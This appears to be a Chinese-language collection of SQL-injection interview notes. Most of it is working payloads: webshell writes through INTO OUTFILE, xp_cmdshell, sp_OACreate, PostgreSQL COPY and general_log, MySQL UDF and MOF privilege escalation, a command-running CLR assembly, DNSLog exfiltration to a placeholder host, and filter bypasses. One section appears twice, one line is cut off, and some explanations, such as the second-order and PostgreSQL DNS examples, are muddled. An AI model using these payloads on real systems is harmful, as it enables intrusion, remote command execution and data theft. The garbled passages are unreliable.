utl_inaddr.get_host_address() utl_inaddr.get_host_address() 会将不合法的IP地址或域名作为错误信息的一部分 … AND 1=(SELECT utl_inaddr.get_host_address((SELECT user FROM dual)))
ctxsys.drithsx.sn() 在执行 ctxsys.drithsx.sn() 函数时,不合法的参数会引发错误并显示内容 … AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’))
dbms_utility.sqlcode_to_char() 这个函数用于将错误代码转换为字符。它本身不是用来报错的,但可以和其他会报错的函数结合使用 AND 1=TO_NUMBER((SELECT ‘a’

SQL 延时盲注 sleep() 被禁用怎么绕过

1. 利用 BENCHMARK() 函数

BENCHMARK() 函数是 MySQL 中一个非常有用的性能测试函数。它的作用是让一个函数重复执行多次,并返回执行时间。我们可以利用这个特性来造成可控的延时

  • 原理: BENCHMARK(count, expr) 会让 expr 表达式执行 count 次。如果我们让它执行一个耗时但无害的操作,就可以造成明显的延时

  • 基本语法: BENCHMARK(count, expr)

  • 利用方式:

    1
    2
    # 让 MD5('a') 重复执行 5,000,000 次,从而造成延时
    AND IF(ascii(substr(database(),1,1))=115, BENCHMARK(5000000, MD5('a')), 1)

    解释:

    • IF(condition, true_value, false_value):这是一个条件判断语句
    • ascii(substr(database(),1,1))=115:这是我们的注入条件,判断数据库名的第一个字符的 ASCII 值是否为 115(即 's'
    • 如果条件为真,BENCHMARK() 函数被执行,导致页面延迟;如果条件为假,则立即返回 1,页面没有延迟

2. 利用 GET_LOCK() 函数

GET_LOCK() 函数是 MySQL 中的一个锁函数。它可以获取一个指定的锁,并在指定的超时时间内等待。如果锁被其他会话占用,它就会一直等待直到超时。我们可以利用这个特性来造成延时

  • 原理: GET_LOCK(str, timeout) 函数尝试获取一个名为 str 的锁,并等待 timeout

  • 利用方式:

    1
    2
    # 如果条件为真,则获取一个名为 'a' 的锁并等待 5
    AND IF(ascii(substr(database(),1,1))=115, GET_LOCK('a', 5), 1)

    这种方法的缺点是,如果多个请求同时执行,可能会因为锁竞争而造成不可预知的行为

3. 利用 RLIKE/REGEXP 的正则特性

当使用 RLIKEREGEXP 进行正则表达式匹配时,如果正则表达式足够复杂,并且目标字符串足够长,也会造成明显的性能消耗,从而实现延时效果

  • 原理: 构造一个回溯(backtracking)量较大的正则表达式,让 MySQL 在匹配时消耗大量 CPU 资源

  • 利用方式:

    1
    2
    # 构造一个高回溯的正则表达式来消耗 CPU
    AND IF(ascii(substr(database(),1,1))=115, (SELECT concat(rpad('',4999999,'a'),rpad('',4999999,'a'),'a') RLIKE '(a.*)+(a.*)+'), 1)

    解释: rpad() 函数用于填充字符串,使其变得很长。RLIKE '(a.*)+(a.*)+' 是一个典型的回溯型正则表达式。当字符串很长时,匹配会非常耗时

4. 利用笛卡尔积

通过制造一个巨大的笛卡尔积,可以使查询的执行时间大大增加

  • 原理: 当两个大表没有关联地进行连接时,结果集的行数是两个表行数的乘积

  • 利用方式:

    1
    2
    # 使用 information_schema.tables 来制造一个笛卡尔积
    AND IF(ascii(substr(database(),1,1))=115, (SELECT COUNT(*) FROM information_schema.tables a, information_schema.columns b), 1)

    这种方法同样会造成明显的延迟,但查询结果可能会占用大量内存


SQL 延时盲注 sleep() 被禁用怎么绕过

1. 利用 BENCHMARK() 函数

BENCHMARK() 函数是 MySQL 中一个非常有用的性能测试函数。它的作用是让一个函数重复执行多次,并返回执行时间。我们可以利用这个特性来造成可控的延时

  • 原理: BENCHMARK(count, expr) 会让 expr 表达式执行 count 次。如果我们让它执行一个耗时但无害的操作,就可以造成明显的延时

  • 基本语法: BENCHMARK(count, expr)

  • 利用方式:

    1
    2
    # 让 MD5('a') 重复执行 5,000,000 次,从而造成延时
    AND IF(ascii(substr(database(),1,1))=115, BENCHMARK(5000000, MD5('a')), 1)

    解释:

    • IF(condition, true_value, false_value):这是一个条件判断语句
    • ascii(substr(database(),1,1))=115:这是我们的注入条件,判断数据库名的第一个字符的 ASCII 值是否为 115(即 's'
    • 如果条件为真,BENCHMARK() 函数被执行,导致页面延迟;如果条件为假,则立即返回 1,页面没有延迟

2. 利用 GET_LOCK() 函数

GET_LOCK() 函数是 MySQL 中的一个锁函数。它可以获取一个指定的锁,并在指定的超时时间内等待。如果锁被其他会话占用,它就会一直等待直到超时。我们可以利用这个特性来造成延时

  • 原理: GET_LOCK(str, timeout) 函数尝试获取一个名为 str 的锁,并等待 timeout

  • 利用方式:

    1
    2
    # 如果条件为真,则获取一个名为 'a' 的锁并等待 5
    AND IF(ascii(substr(database(),1,1))=115, GET_LOCK('a', 5), 1)

    这种方法的缺点是,如果多个请求同时执行,可能会因为锁竞争而造成不可预知的行为

3. 利用 RLIKE/REGEXP 的正则特性

当使用 RLIKEREGEXP 进行正则表达式匹配时,如果正则表达式足够复杂,并且目标字符串足够长,也会造成明显的性能消耗,从而实现延时效果

  • 原理: 构造一个回溯(backtracking)量较大的正则表达式,让 MySQL 在匹配时消耗大量 CPU 资源

  • 利用方式:

    1
    2
    # 构造一个高回溯的正则表达式来消耗 CPU
    AND IF(ascii(substr(database(),1,1))=115, (SELECT concat(rpad('',4999999,'a'),rpad('',4999999,'a'),'a') RLIKE '(a.*)+(a.*)+'), 1)

    解释: rpad() 函数用于填充字符串,使其变得很长。RLIKE '(a.*)+(a.*)+' 是一个典型的回溯型正则表达式。当字符串很长时,匹配会非常耗时

4. 利用笛卡尔积

通过制造一个巨大的笛卡尔积,可以使查询的执行时间大大增加

  • 原理: 当两个大表没有关联地进行连接时,结果集的行数是两个表行数的乘积

  • 利用方式:

    1
    2
    # 使用 information_schema.tables 来制造一个笛卡尔积
    AND IF(ascii(substr(database(),1,1))=115, (SELECT COUNT(*) FROM information_schema.tables a, information_schema.columns b), 1)

    这种方法同样会造成明显的延迟,但查询结果可能会占用大量内存


SQL 注入怎么写入 WebShell

这种攻击方式的成功与否,主要取决于以下几个前提条件:

  • 数据库账户权限:当前连接数据库的账户必须具备 File 权限,或者说有权限执行 LOAD_FILE()INTO OUTFILEINTO DUMPFILE 等文件操作函数
  • 目标路径可写:网站服务器上的目标路径必须是可写的,且不能被权限系统限制
  • WAF 或防护软件:没有强大的 WAF (Web Application Firewall) 或其他安全软件拦截注入语句

1. MySQL:INTO OUTFILE

这是最常用且最直接的写入 WebShell 的方法。INTO OUTFILE 语句能够将查询结果导出到一个指定的文件中

利用步骤:

  1. 判断权限:首先,需要判断当前数据库用户是否具有 File 权限。可以尝试执行以下语句:

    1
    ?id=1' AND (SELECT count(*) FROM mysql.user)>0--+

    如果返回正常,则可以初步判断有权限。更直接的方式是尝试利用 @@basedir@@datadir 查看路径是否可写

  2. 获取网站绝对路径:如果不知道网站的绝对路径,可以尝试利用报错或联合查询来获取

    1
    2
    # 利用报错获取
    ?id=1' AND (SELECT 1 FROM (SELECT count(*), concat(@@basedir,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+

    或者尝试猜测一些常见的路径,例如 /var/www/html/C:/inetpub/wwwroot/

  3. 构造注入语句:将包含 WebShell 代码的字符串作为查询结果,然后使用 INTO OUTFILE 导出到目标路径

    1
    2
    # 假设我们想写入一个名为 shell.php 的文件
    ?id=1' UNION SELECT 1, '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'--+

    注意:

    • INTO OUTFILE 导出时会以行的形式输出,每行末尾会有换行符,且不能覆盖已有文件。为了解决这个问题,通常会结合十六进制编码或 LOAD_FILE() 来绕过
    • 为了避免转义和换行问题,WebShell 代码通常会用十六进制进行编码
    1
    ?id=1' UNION SELECT 1, 0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e INTO OUTFILE '/var/www/html/shell.php'--+

2. SQL Server:xp_cmdshell

xp_cmdshell 是 SQL Server 的一个扩展存储过程,它允许在数据库中执行操作系统命令。如果它被启用,攻击者就可以直接执行命令来写入 WebShell

利用步骤:

  1. 判断 xp_cmdshell 是否启用:默认情况下,xp_cmdshell 是禁用的

    1
    ;EXEC xp_cmdshell 'dir c:'--

    如果执行成功,说明已启用。如果没有,则需要尝试启用它

  2. 启用 xp_cmdshell

    1
    ;EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE--

    注意: 启用 xp_cmdshell 需要较高的权限(通常是 sysadmin 角色)

  3. 写入 WebShell:启用 xp_cmdshell 后,可以使用 echo 命令将 WebShell 代码写入文件

    1
    ;EXEC xp_cmdshell 'echo ^<^?php eval($_POST[cmd])?^> > C:\inetpub\wwwroot\shell.asp'--

    ^ 是为了转义特殊字符 <>

3. SQL Server:sp_OACreate

如果 xp_cmdshell 被禁用,攻击者还可以利用 sp_OACreate 等 OLE 自动化存储过程来执行命令

  • 利用方式:利用 sp_OACreate 创建一个 WScript.Shell 对象,然后通过其 Run 方法执行命令

    1
    ;DECLARE @o INT; EXEC sp_OACreate 'WScript.Shell', @o OUT; EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c echo ^<^?php eval($_POST[cmd])?^> > C:\inetpub\wwwroot\shell.asp'--

4. PostgreSQL:COPY TO

PostgreSQL 提供了 COPY TO 命令,用于将表数据导出到文件中

  • 利用方式

    1. 创建一个临时表,并将 WebShell 代码插入其中
    2. 利用 COPY TO 命令将数据导出到目标文件
    1
    '; CREATE TABLE shell (cmd text); INSERT INTO shell VALUES ('<?php eval($_POST[cmd]);?>'); COPY shell TO '/var/www/html/shell.php';--

    注意: 执行 COPY 命令需要 superuser 权限,且目标路径必须是数据库服务器可读写的


宽字节注入漏洞原理

我们通过一个经典的例子来解释这个漏洞

假设一个 PHP 应用在接收用户输入后,使用了 addslashes()mysql_real_escape_string() 等函数来对单引号进行转义

正常情况下的过滤:

当用户输入 '(单引号)时,后端会被转义成 \'

  • 输入: id=1'
  • 转义后: id=1\'
  • SQL 查询: SELECT * FROM users WHERE id = '1\''

这句 SQL 语句是合法的,因为 \' 被视为一个转义后的单引号,从而导致查询失败,注入被阻止

宽字节注入的绕过:

当后端数据库使用 GBK 编码时,我们可以利用一个特殊字符来“吃掉”转义符 \

  • 输入: 我们在单引号前加一个十六进制的宽字节,例如 %df

  • 完整的输入: id=1%df'

  • URL解码后: id=1' (这里 0xdf 的GBK编码,具体字符取决于浏览器)

  • addslashes() 处理后: addslashes() 只会将单引号 ' 转义成 \'。 此时,字符串变为 1%df\'

    • 在内存中,它的十六进制表示是: 31 25 64 66 5c 27
    • 但在GBK编码环境下,数据库会重新解释这个字符串

    MySQL 在接收到这个字符串时,会把它当作 GBK 编码进行解析。它会发现 %df0xdf)是一个宽字节的开头,并且紧接着的 \0x5c)恰好在GBK编码的合法范围内,可以和 0xdf 组成一个合法的汉字

    • %df%5c (0xdf0x5c) 在GBK编码中是一个合法的汉字,例如“運”
    • 结果: 1%df\' 在数据库看来就变成了 1 + 一个汉字 + '
  • 最终的 SQL 查询: SELECT * FROM users WHERE id = '1運''

    此时,被转义的单引号 ' 重新获得了生命,因为它不再被认为是转义符的一部分。攻击者就可以继续使用后面的单引号进行SQL注入


二次注入漏洞原理

我们通过一个经典的案例来解释这个过程

假设有一个网站,允许用户注册并修改个人信息,其中包含用户名

第一阶段:数据注入

  1. 用户注册:注册时,应用对用户名进行了严格的过滤,阻止了单引号和一些 SQL 关键字
  2. 攻击者构造恶意用户名:攻击者注册一个名为 test' and 1=1-- 的账户。由于注册时的过滤机制,攻击者无法直接注入
  3. 攻击者换一种方式:攻击者注册一个名为 test 的账户。然后,在修改用户名的功能中,他将用户名修改为 test' and 1=1--
  4. 应用处理:假设应用在更新操作时对用户输入做了严格的过滤,但数据库中的新增操作没有。攻击者在第一次新增时,输入一个看似无害的用户名,例如 test

漏洞的真正利用

现在,假设应用有一个功能,允许用户修改自己的个人信息,而这个功能在设计时存在缺陷

  • 正常的修改用户信息 SQL 语句

    1
    UPDATE users SET email = 'user@example.com' WHERE username = 'test';
  • 攻击者如何利用

    1. 第一次注入:攻击者注册一个名为 test 的账户。这个数据被安全地存储在数据库中
    2. 第二次注入:攻击者找到一个功能,例如“修改评论”,而这个功能会将评论内容与用户名关联起来。假设评论表是 comments,并且 username 列没有做任何过滤

    攻击者提交了一条评论,内容为 ' or 1=1--。数据库执行了如下语句:

    1
    INSERT INTO comments (username, content) VALUES ('test', '' or 1=1--');

    此时,恶意数据 ' or 1=1-- 被安全地存储在了 comments 表中

    1. 触发漏洞:现在,应用中有一个管理员审核评论的功能。管理员点击审核按钮后,后端会执行一个不安全的查询,例如:
    1
    SELECT * FROM comments WHERE content = '' or 1=1--';

    这条查询语句由于没有对 content 字段进行二次过滤,导致 or 1=1-- 被当作 SQL 语句的一部分,从而绕过了原本的逻辑,直接获取了 comments 表中的所有数据,甚至可以被进一步利用进行数据泄露或篡改


堆叠注入漏洞原理

正常查询

假设一个网站的查询语句是这样拼接的:

1
SELECT * FROM users WHERE id = '用户输入';

如果用户输入 1,执行的 SQL 语句就是:

1
SELECT * FROM users WHERE id = '1';

堆叠注入攻击

如果攻击者在输入框中输入 1; DROP TABLE users,并且后端没有过滤分号,最终执行的 SQL 语句就会变成:

1
2
SELECT * FROM users WHERE id = '1';
DROP TABLE users;

数据库服务器会按顺序执行这两条语句。第一条是正常的查询,第二条则是删除 users的恶意命令


SQLMap 参数 level 与 risk 区别

level (探测等级)

level 选项用于指定 sqlmap 测试的深度,范围从1到5。level 值越高,sqlmap 会尝试更多的 Payload,但同时也会增加请求的数量和测试时间

  • Level 1:默认等级,会测试一些基本的 Payload,比如单引号 ' 和双引号 "。这适用于快速探测,通常不会对应用造成太大影响
  • Level 2:会增加基于时间的 Payload,用于测试盲注
  • Level 3:会测试 AND/OR 布尔盲注以及一些常见的报错注入 Payload
  • Level 4:会测试一些不常见的、复杂的 Payload,例如基于 UNION 查询的 Payload
  • Level 5:最高等级,会测试所有的 Payload,包括一些非常规的、可能导致应用崩溃的 Payload

总结level 决定了 sqlmap 攻击的深度和复杂性,它告诉 sqlmap 应该使用多少种不同的技术来探测漏洞

risk (危险等级)

risk 选项用于指定 sqlmap 执行 Payload 的危险程度,范围从1到3。risk 值越高,sqlmap 会使用一些可能对数据库造成修改或破坏的 Payload

  • Risk 1:默认等级,sqlmap 只会使用那些不会对数据库数据造成修改的 Payload。例如,UNION 查询、布尔盲注等
  • Risk 2:会增加一些可能造成轻微数据修改的 Payload,比如基于 GETPOST 参数的更新语句
  • Risk 3:最高等级,会尝试可能对数据库造成重大破坏的 Payload,例如 DELETEINSERTUPDATE 等。在没有明确授权的情况下,不建议使用这个等级

总结risk 决定了 sqlmap 攻击的潜在危害性,它告诉 sqlmap 可以执行多“危险”的操作

特征 level (探测等级) risk (危险等级)
关注点 攻击深度和技术类型 攻击危险性和破坏程度
决定因素 攻击手法(布尔、时间、报错、联合等) 攻击操作(查询、更新、删除等)
默认值 1 1
常用组合 level 3 或更高 risk 2 或更高

MySQL 提权方式有哪些

1. UDF 提权(User-Defined Function)

UDF 提权是 MySQL 提权最常见且最有效的方式之一。它利用了 MySQL 允许用户通过 C/C++ 编写自定义函数并加载到数据库中执行的特性

  • 前提条件:

    • 高权限:当前 MySQL 用户账户必须具备 CREATE FUNCTIONFILE 权限
    • 可写目录:需要将恶意 UDF 库文件(.dll.so)写入到 MySQL 插件目录中
  • 攻击步骤:

    1. 上传 UDF 库文件:攻击者利用 SQL 注入或文件写入漏洞,将一个包含恶意系统命令执行功能的 UDF 库文件(例如 lib_mysqludf_sys.somysql.dll)上传到 MySQL 服务器的可写目录,通常是插件目录 (/usr/lib/mysql/plugin/) 或其他可写目录

    2. 创建自定义函数:使用 SQL 语句,调用 CREATE FUNCTION 命令,将上传的 UDF 库文件中的恶意函数(如 sys_execsys_eval)注册为 MySQL 函数

      1
      CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
    3. 执行系统命令:通过调用新创建的函数,执行任意系统命令,从而实现提权

      1
      SELECT sys_eval('whoami');
  • 防御方法:

    • 最小权限原则:不要授予 MySQL 用户 FILESUPER 等高权限
    • 加固配置:修改 my.cnf 文件,设置 secure_file_priv 为空或一个指定的安全目录,以限制文件导入导出功能

2. MOF 提权(Managed Object Format)

MOF 提权是针对 Windows 服务器的一种特定提权方式,利用了 Windows Server 2003/2008 上的一些服务配置不当

  • 前提条件:
    • Windows 服务器:目标服务器必须是 Windows 系统
    • 可写目录:攻击者必须能够将恶意 MOF 文件写入到 %systemroot%\system32\wbem\mof 目录下
    • MySQL 权限:需要有 FILE 权限,以写入文件
  • 攻击步骤:
    1. 编写恶意 MOF 文件:MOF 是 Windows 管理规范(WMI)使用的文件格式。攻击者可以编写一个恶意的 MOF 文件,让其在被系统加载时,自动执行一个指定的命令,比如创建一个新的管理员用户
    2. 上传 MOF 文件:利用 SELECT ... INTO OUTFILE 语句,将恶意 MOF 文件写入到 %systemroot%\system32\wbem\mof 目录下
    3. 服务触发:Windows 的 CIMOM 服务会周期性地扫描该目录下的 MOF 文件,并自动执行其内容。当恶意 MOF 文件被执行后,攻击者指定的命令就会被执行,从而实现提权
  • 防御方法:
    • 最小权限原则:不要授予 MySQL 用户 FILE 权限
    • 更新系统:该漏洞在较新的 Windows 系统版本中已被修复

MMSQL 的 xp_cmdshell() 函数被禁用怎么绕过

1. 利用其他扩展存储过程

MSSQL 中还有一些其他的扩展存储过程,它们可能没有 xp_cmdshell 那么直接,但仍然可以用于执行命令或读写文件

  • sp_OACreate (OLE Automation Procedures): 这个过程通常用于创建 COM 对象,但如果你能找到合适的 COM 对象,比如 WScript.Shell,就可以利用它来执行命令

    示例代码:

    1
    2
    3
    4
    DECLARE @shell INT;
    EXEC sp_OACreate 'WScript.Shell', @shell OUT;
    EXEC sp_OAMethod @shell, 'run', NULL, 'cmd.exe /c whoami > C:\temp\output.txt';
    -- 之后你可以读取 output.txt 来获取结果

    注意: 这种方法依赖于是否启用了 OLE Automation Procedures,并且需要寻找可以被利用的 COM 对象

2. SQL Server Agent Jobs

如果 SQL Server Agent 服务正在运行,并且你拥有创建作业的权限,你可以创建一个新的 Agent Job,并在其中执行 PowerShell 或命令行脚本

  • 创建作业 (Job): 创建一个 SQL Agent Job,步骤类型 (Step Type) 选择 Operating system (CmdExec)PowerShell
  • 编写脚本: 在步骤中直接写入你要执行的命令
  • 启动作业: 启动该作业,命令就会在 SQL Server Agent 的权限下执行

这种方法的好处是,即使 xp_cmdshell 被禁用,Agent Job 依然可以运行。但前提是,你有权限创建并执行作业

3. CLR Assembly

SQL Server 提供了 CLR (Common Language Runtime) 集成功能,允许你在数据库中运行 .NET 代码。如果你可以创建一个恶意的 CLR Assembly,并在其中编写执行命令的代码,就可以绕过 xp_cmdshell

  • 启用 CLR:

    1
    2
    EXEC sp_configure 'clr enabled', 1;
    RECONFIGURE;
  • 创建并部署 Assembly: 编写一个 C# 代码,使用 System.Diagnostics.Process 类来执行命令,然后将其编译成 DLL,并上传到数据库

  • 创建存储过程: 创建一个 SQL 存储过程来调用这个 Assembly 中的方法

    C# 代码示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    using System;
    using System.Diagnostics;
    using System.Data.SqlClient;
    using Microsoft.SqlServer.Server;

    public class StoredProcedures
    {
    [SqlProcedure]
    public static void CmdExec(string command)
    {
    Process.Start("cmd.exe", "/c " + command);
    }
    }

    SQL Server 端:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    -- 创建 Assembly
    CREATE ASSEMBLY CommandExec FROM 'C:\path\to\YourAssembly.dll' WITH PERMISSION_SET = UNSAFE;

    -- 创建存储过程
    CREATE PROCEDURE sp_CmdExec @command NVARCHAR(4000) AS
    EXTERNAL NAME [YourAssembly].[StoredProcedures].[CmdExec];

    -- 执行
    EXEC sp_CmdExec 'whoami';

    注意: CLR Assembly 功能通常是默认禁用的,并且创建 UNSAFE 权限集的 Assembly 需要 sysadmin 权限


MySQL 5.0 以上和 5.0 以下的区别

1. information_schema 的有无

MySQL 5.0 以下

  • 信息收集困难:没有 information_schema 这个元数据数据库。攻击者无法通过简单的查询 information_schema.tablesinformation_schema.columns 来列出数据库、表和列的名称。这迫使渗透测试人员依赖盲注和字典攻击来猜测表名和列名,大大增加了信息收集的难度和时间

MySQL 5.0 及以上

  • 信息收集自动化information_schema 数据库的引入,彻底改变了 SQL 注入的自动化方式。攻击者可以通过一条简单的注入语句,就能枚举出整个数据库的结构,包括所有库名、表名、列名以及它们的数据类型。这使得像 SQLmap 这样的自动化工具能够高效地工作,大大降低了攻击的门槛。

2. 并发操作模式

MySQL 5.0 以下

  • 多用户单操作:这个说法通常是指不完全支持多用户并发,或者并发控制机制相对简单。在某些版本中,对同一资源的并发访问可能导致锁定和性能问题。从渗透角度看,这可能导致一些复杂的注入技术(如基于锁定的时间盲注)效果不佳,但影响相对较小

MySQL 5.0 及以上

  • 多用户多操作:这通常指的是更好的并发控制事务支持。MySQL 5.0 引入了事务和更强大的锁机制,使得多个用户可以同时对数据库进行复杂操作,而不会相互干扰。这对于正常的业务应用至关重要

SQL 注入 outfile() 被过滤怎么绕过

1. 利用 dumpfile() 函数

如果 outfile() 被禁用,但 dumpfile() 未被过滤,这是一个直接的替代方案

  • 区别outfile() 可以将查询结果输出到文件中,支持多行数据。而 dumpfile() 只能输出单行数据。
  • 用法:将需要写入文件的内容作为查询结果,然后使用 into dumpfile 写入
1
SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php';

2. 利用日志文件

如果数据库开启了通用查询日志(general_log)或者慢查询日志(slow_query_log),并且你有权限修改日志路径,那么可以利用这个特性来写入 Webshell

  • 步骤
    1. 设置日志文件路径:将 general_log_fileslow_query_log_file 的值修改为 Web 目录下的一个可写路径,例如 /var/www/html/shell.php
    2. 开启日志:将 general_logslow_query_log 设为 ON
    3. 写入恶意代码:执行一个包含 Webshell 代码的查询,例如 SELECT '<?php system($_GET["cmd"]); ?>'。这条查询语句会被写入到日志文件中,从而创建 Webshell
1
2
3
4
5
6
7
8
9
10
11
12
# 修改日志路径
SET GLOBAL general_log_file = '/var/www/html/shell.php';

# 开启日志
SET GLOBAL general_log = ON;

# 写入 Webshell
SELECT '<?php system($_GET["cmd"]); ?>';

# 写入完成后,关闭日志并重置路径,避免留下痕迹
SET GLOBAL general_log = OFF;
SET GLOBAL general_log_file = '/path/to/original/log';

SQL 注入中 Post 和 Get 都做了防注入可采用什么方式绕过

许多 Web 应用程序不仅处理 POST 和 GET 数据,还会依赖于 HTTP 请求头中的信息。如果这些头信息没有经过严格的过滤,就可能成为注入点

  • User-Agent: 很多网站会记录访问者的 User-Agent 信息。如果后台程序直接将 User-Agent 拼接到 SQL 查询中,就可能存在注入
  • X-Forwarded-For: 这个头通常用于获取用户的真实 IP 地址。当网站部署了负载均衡或 CDN 时,它会记录用户的原始 IP。同样,如果处理不当,也可能成为注入点
  • Cookie: 网站通常会使用 Cookie 来存储会话信息或其他用户数据。如果 Cookie 中的某个值直接参与了 SQL 查询,就可能被利用
  • Referer: 网站会记录用户是从哪个页面跳转过来的。如果这个信息直接被用于查询,同样存在风险

绕过方式: 以 User-Agent 为例,你可以使用 Burp Suite 或其他抓包工具,在请求头中修改 User-Agent 的值,构造 SQL 注入 Payload。 例如:User-Agent: ' OR 1=1--


SQL 盲注 if() 函数被过滤怎么绕过

1. 利用 CASE WHEN 语句

CASE WHEN 语句是 SQL 中最常见的条件判断表达式,其功能与 IF() 函数非常相似,且通常不会被安全设备过滤

  • 语法: CASE WHEN [condition] THEN [value1] ELSE [value2] END
  • 布尔盲注绕过: SELECT * FROM users WHERE id = 1 AND CASE WHEN (1=1) THEN 1 ELSE 2 END = 1
  • 时间盲注绕过: SELECT * FROM users WHERE id = 1 AND CASE WHEN (SUBSTRING(database(),1,1) = 'd') THEN SLEEP(5) ELSE 0 END

2. 利用 UNION + 错误信息

IF() 被过滤,但 UNION 和错误信息回显没有被完全禁用时,我们可以利用 UNION 来触发自定义的错误信息,从而进行布尔盲注

  • 原理: 通过 UNION 将一个错误的查询结果与正常的查询结果合并,当错误的查询语句执行时,数据库会返回错误信息,其中可能包含我们想要的数据
  • 绕过方式: SELECT * FROM users WHERE id = -1 UNION SELECT 1, 2, 3 FROM DUAL WHERE (1=2) OR (1=1) UNION SELECT 1, 2, 3 FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)a 这个方法需要根据具体情况进行调整,利用数据库的语法错误或类型转换错误来触发自定义的错误信息

3. 利用位运算和 LIKE 语句

当数据库不支持 IF()CASE 语句时,我们可以利用逻辑运算和位运算来逐位判断数据

  • 原理: LIKE 语句可以用于模糊匹配,我们可以将它和数据库中的数据结合起来,逐个字符地猜解
  • 绕过方式: SELECT * FROM users WHERE id = 1 AND username LIKE 'a%' 如果该查询返回结果,则说明 username 的第一个字符是 ‘a’。我们可以通过不断改变 % 前的字符来逐个猜解数据

4. 利用 benchmark() 函数

在 MySQL 中,benchmark() 函数可以用来执行指定的函数多次,从而消耗大量时间。这可以用来替代 SLEEP() 函数进行时间盲注

  • 原理: BENCHMARK(count, expr) 会重复执行 expr 表达式 count 次。如果 expr 包含一个耗时的操作,我们可以根据执行时间来判断条件是否成立

  • 绕过方式: SELECT * FROM users WHERE id = 1 AND BENCHMARK(10000000, MD5(1)) AND (SUBSTRING(database(),1,1) = 'd')

    如果条件 (SUBSTRING(database(),1,1) = 'd') 成立,BENCHMARK 函数就会被执行,页面响应会变慢。否则,页面会立即响应

5. 利用 get_lock() 函数

在 MySQL 中,GET_LOCK() 函数可以用于获取一个全局锁,如果锁已被其他会话占用,该函数会等待直到锁被释放或超时

  • 原理: 我们可以利用 GET_LOCK() 函数设置一个长达数秒的锁,从而实现时间盲注的效果

  • 绕过方式: SELECT * FROM users WHERE id = 1 AND IF((SUBSTRING(database(),1,1)='d'), GET_LOCK('hack', 5), 0)

    如果条件成立,GET_LOCK 会被执行,页面会等待 5 秒

6. 利用 ELT() 函数

ELT() 函数是 MySQL 中的一个字符串函数,它可以根据索引返回列表中的一个字符串

  • 原理: ELT(N, str1, str2, ...) 返回第 N 个字符串。我们可以将它与条件判断结合,实现布尔盲注
  • 绕过方式: SELECT * FROM users WHERE id = 1 AND ELT(1, 'false', 'true') 如果条件为真,ELT 会返回 true,否则返回 false

SQL 注入无回显利用 DNSLog 如何构造

1. MySQL/MariaDB

在 MySQL 和 MariaDB 中,LOAD_FILE() 函数和 UNC 路径(Windows 共享路径)是触发 DNS 查询的常用手段

a. 利用 LOAD_FILE()

LOAD_FILE() 函数用于读取文件内容,但如果给它一个 UNC 路径,它会触发 DNS 查询

  • Payload 构造: SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.your-dnslog.com\\a'));
  • 解释:
    • SELECT DATABASE():获取当前数据库名
    • CONCAT(...):将数据库名与你的 DNSlog 域名拼接成一个新的域名,例如 testdb.your-dnslog.com
    • LOAD_FILE():尝试加载这个 UNC 路径,由于域名不存在本地,它会发起 DNS 查询
    • \\a:这是一个占位符,用于避免语法错误

b. 利用 DNS_REVERSE()BENCHMARK()

这是一个更高级的技巧,需要 MySQL 5.7.10 或更高版本,且安装了 sys 模式

  • Payload 构造: SELECT BENCHMARK(1000000,MD5(CONCAT('a',(SELECT DATABASE())))) AND (SELECT sys.version_get_option('version') LIKE '%DNS%');
    • 注意:这个方法主要是为了演示 sys 库的功能,实际操作中 LOAD_FILE 更常见

2. SQL Server

在 SQL Server 中,我们可以利用 xp_cmdshellsp_oacreate 来触发 DNS 查询

a. 利用 xp_cmdshell

xp_cmdshell 是一个强大的存储过程,可以执行系统命令。我们可以利用 ping 命令来触发 DNS 查询

  • Payload 构造: EXEC xp_cmdshell 'ping -n 1 ' + (SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases) + '.your-dnslog.com';
  • 解释:
    • xp_cmdshell:执行 ping 命令
    • SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases:获取第一个数据库的名称
    • +:将数据库名与你的 DNSlog 域名拼接

b. 利用 sp_oacreate

sp_oacreate 可以创建 OLE 对象,我们可以利用它来发起 HTTP 请求,从而触发 DNS 查询

  • Payload 构造: DECLARE @h INT; EXEC sp_oacreate 'WinHttp.WinHttpRequest.5.1', @h OUT; EXEC sp_oamethod @h, 'Open', NULL, 'GET', 'http://' + (SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases) + '.your-dnslog.com';

3. PostgreSQL


在 PostgreSQL 中,COPY 命令和 pg_sleep 结合可以实现 DNSlog。但更直接的方法是利用 pg_send_queryUDF(用户定义函数)。

  • Payload 构造: SELECT * FROM users WHERE id = 1 AND (SELECT pg_send_query('SELECT * FROM ' || (SELECT version()) || '.your-dnslog.com')) IS NOT NULL;
  • 解释:
    • pg_send_query():用于发送一个查询。
    • (SELECT version()):获取 PostgreSQL 的版本信息。
    • 这个方法利用了 PostgreSQL 在解析域名时会触发 DNS 查询的特性

and or 被过滤怎么绕过

1. 利用逻辑运算符的符号替代

在某些情况下,WAF(Web Application Firewall)可能只过滤了关键字,而忽略了它们的符号表示

  • && 替代 and 在 MySQL 中,&&and 的功能相同。如果 and 被过滤,可以尝试使用 &&
  • || 替代 or 同样,|| 可以替代 or 来进行逻辑或操作。

Payload 实例:

  • 原始注入: id=1 and 1=2
  • 绕过: id=1 && 1=2

2. 利用!<>not 等操作符

通过巧妙地结合其他逻辑或比较操作符,我们可以构造出等价的判断逻辑

  • and 的替代:
    • if not (a=1) then ... 等价于 if a<>1 then ...
    • 我们可以利用 not<> 来否定条件,从而实现 and 的效果
    • 例如: username=admin' or not ('1'='1' and '1'='2') 这句可以被改写为 username=admin' or not (1=1),这在逻辑上是错误的,我们可以利用它来测试
